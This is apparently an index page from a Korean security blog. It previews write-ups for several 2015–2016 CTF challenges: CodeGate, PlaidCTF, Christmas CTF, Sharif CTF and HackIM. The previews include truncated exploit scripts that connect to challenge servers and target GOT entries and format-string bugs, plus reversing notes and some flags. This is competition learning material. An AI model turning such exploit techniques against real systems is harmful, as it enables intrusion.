본문 바로가기

Write Up

2016 CodeGate Final GMPQZ 6명 푼 미스크 문제입니다.이렇게 생긴 파일 하나 달랑 줍니다. 여기서 맨 앞에 있는 0x78 0x9c는 zlib이라는 압축 알고리즘의 시그니쳐 입니다. 내부에 시그니쳐가 많이 보이는 것으로 보아 여러개가 모여 있는 것 같습니다. 파이썬 소스를 짜서 몽땅 압축을 풀어 줍니다. 123456file = open('GMPQZ', 'rb').read().split('\x78\x9c') data = ''for i in range(1, len(file)): data += ('\x78\x9c' + file[i]).decode('zlib')open('decypted', 'wb').write(data)cs처음에는 압축이 풀린 것을 하나하나 다른 파일에 저장했는데 열어서 확인해 보니 중간 중간 0x55 0xaa로 끝나는 .. 더보기
2016 CodeGate Final BMP 27명 푼 미스크 문제입니다.웹사이트와 소스가 주어지는데 웹 사이트를 들어가 보면 이렇게 생겼습니다. 글자를 치면 이렇게 bmp파일이 점점 생겨나면서 올라옵니다. 옆에 flag.bmp가 만들어 지는 값을 찾으면 됩니다. 처음에는 편법으로 0~9, A~Z, a~z까지 싹다 어떤 형태의 그림이 만들어지는지 찾은 후에 테이블로 만들어서 비교하려고 했으나 이전 값이 현재의 bmp에 영향을 준다는 것을 깨닫고 포기했습니다. 결국 주어진 js파일을 분석해서 브루트포싱을 하는 파이썬 소스를 짜서 풀었습니다. 처음에는 소스가 한줄로 나열되고 난독화가 약간 되어 있어서 보기 편하게 만들어 준 후에 분석했습니다. 12345/**IE, Safari Not good.Chrome good Work.**/function crea.. 더보기
2015 Christmas CTF vsnoted 작년 크리스마스 때 열렸던 크리스마스 CTF vsnoted를 풀어보았다. 그 때 당시에는 풀어볼 엄두도 못냈었는데 이제는 조금 해 볼만 했다. 그리고 포맷스트링은 진짜 할 때 마다 너무 헷갈리는 것 같다. 풀 때는 내 환경의 스택 상황에 맞춰서 익스플로잇을 했는데 과연 이게 실제 대회 때에도 내 환경의 스택과 똑같이 같은 값이 들어있을 지가 의문이다. fsb문제가 나왔을 때 스택을 덤프해 주는 모듈 같은거를 하나 만들어 두어야 할 것 같다. 123456789101112131415161718192021222324252627282930313233343536373839404142from SunKn0wn import * r = remote('5unKn0wn.iptime.org', 8282) system_plt .. 더보기
PlaidCTF 2016 quite quixotic quest - 300pt 아이디어가 굉장히 참신해서 재밌던 문제였다. curl 라이브러리를 바탕으로 그대로 가져와서 중간에 --pctfkey 인자를 추가해서 키를 입력할 수 있게 하였다. 실제 curl 라이브러리에는 저런 인자가 없다. IDA로 열어서 저 인자로 주었을 때의 동작을 봤더니 스택 자체를 아예 바꿔버리고 리턴을 해버린다. 즉, 연산 루틴 과정을 코드가 아니라 ROP처럼 리턴으로 이루어진 연산을 하게 된다. 여기서부터 이 문제는 아이디어가 되게 좋다고 생각했다. 진행을 해 보면 리턴을 하다가 strlen함수로 가서 입력한 키 값의 글자를 구한다. 그리고 몇 번의 리턴 후에 pop edx 명령어를 수행한다. 위 레지스터에서 ebx가 strlen으로 구한 값이고, edx가 스택에서 pop 한 값이다. 그리고 sub 연산을.. 더보기
PlaidCTF 2016 quick - 175pt 일어나서 첫 번째로 푼 문제이다. IDA로 까 보면 스위프트로 짜여 있어서 좀 더럽다. 그래도 몇 번 보다 보니까 익숙해져서 풀 수 있었다. 디버깅 하면서 보니까 먼저 값을 입력받고, sub_403660함수에서 연산을 한다. 이렇게 테이블이 있고, 연산을 해서 저 테이블이랑 비교를 하는 부분이 두 군데가 있다. 그런데 첫 번째 부분은 입력값이 쓰이지 않는 연산이라서 그냥 패치를 해서 넘겼고, 두 번째 연산에서 입력값이 쓰여서 이 부분만 분석했다. 먼저 연산은 sub_403510 이 함수에 있는 것이 전부라고 해도 과언이 아니었다. 보기가 좀 거슬리기 때문에 중요 부분만 뽑아서 다시 짜봤다. 1234567891011#include int main(void) { unsigned char table[34], .. 더보기
2016 CodeGate watermelon exploit 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182from SunKn0wn import * r = remote('192.168.179.135', 1111) def add(music, artist): r.recvuntil('select\t|\t\n') r.sendline('1') r.recvuntil('music\t|\t') r.sendline(music) r.recvuntil('artist\t|\t') r.sendline(artist) def view(): r.recvuntil('.. 더보기
2016 CodeGate bugbug exploit 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172from SunKn0wn import * def attack(): r = remote('192.168.179.135', 2222) ########## Variables ########## printf_got = 0x0804A010 read_got = 0x0804A00C exit_got = 0x0804A024 system_lib = 0 rand_seed = 0 rand_str = '' lib_base = 0 printlen = 0 printsum = 0 shell = .. 더보기
2016 CodeGate fl0ppy exploit 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394from SunKn0wn import * r = remote('192.168.179.135', 9999) def choose(floppy_num): r.recvuntil('>\n') r.sendline('1') r.recvuntil('1 or 2?\n') r.sendline(str(floppy_num)) def write(data, description): r.recvuntil('>\n').. 더보기
2016 Sharif CTF Write-Ups Crypto - Rail Fence Chiper 말 그대로 rail fence 암호이다. 대충 레일 펜스 디코딩 해 주는 사이트 찾아서 레일 수는 21로 게싱하여 돌리면 된다. flag : QmFzZTY0IGlzIGEgZ2VuZXJpYyB0ZXJt Reversing - dMd IDA로 열면 md5해시화 해서 저장되어 있는 해시와 비교하는 것을 볼 수 있다.비교하는 해시의 원본값을 찾으면 된다.flag : b781cbb29054db12f88f08c6e161c199 Reversing - SRM 이메일과 시리얼 두 개를 비교하는데 우리가 필요한 것은 시리얼이고 이메일과 시리얼의 연관성은 전혀 없으므로 이메일은 건너 뛰고 시리얼만 찾으면 된다. 시리얼 비교 구간은 이렇게 되고 동적분석 해 본 결과 첫 글자 'C.. 더보기
HackIM 2016 Reversing - PrisonBreak HackIM 2016 리버싱 중 500점 짜리 마지막 문제입니다. 이 문제는 대회 당시에는 풀지 못하고 대회가 끝나고 풀어서 아쉬움이 좀 있지만 그래도 풀었기에 풀이를 올립니다. 일단 이 문제 역시 64비트에 이러한 비주얼을 가진 문제입니다. HackIM은 이런 것을 참 좋아하는군요.. 비주얼 마저도 꼭 prison처럼 생겼네요. 헥스레이로 봐 보면 역시 donfos처럼 v50변수에 따라 프로그램 흐름이 달라지는 형식입니다. 일단 처음에 cell을 입력받습니다. cell은 1~3까지 있고 어떤 cell을 입력했냐에 따라 할당된 메모리에 쓰여지는 값이 다릅니다. cell을 입력 받은 후에 이렇게 동적할당을 합니다. 이 과정을 세 번 거쳐서 세 군데에 동적할당을 하고 이렇게 할당된 공간에 값을 씁니다. 여기.. 더보기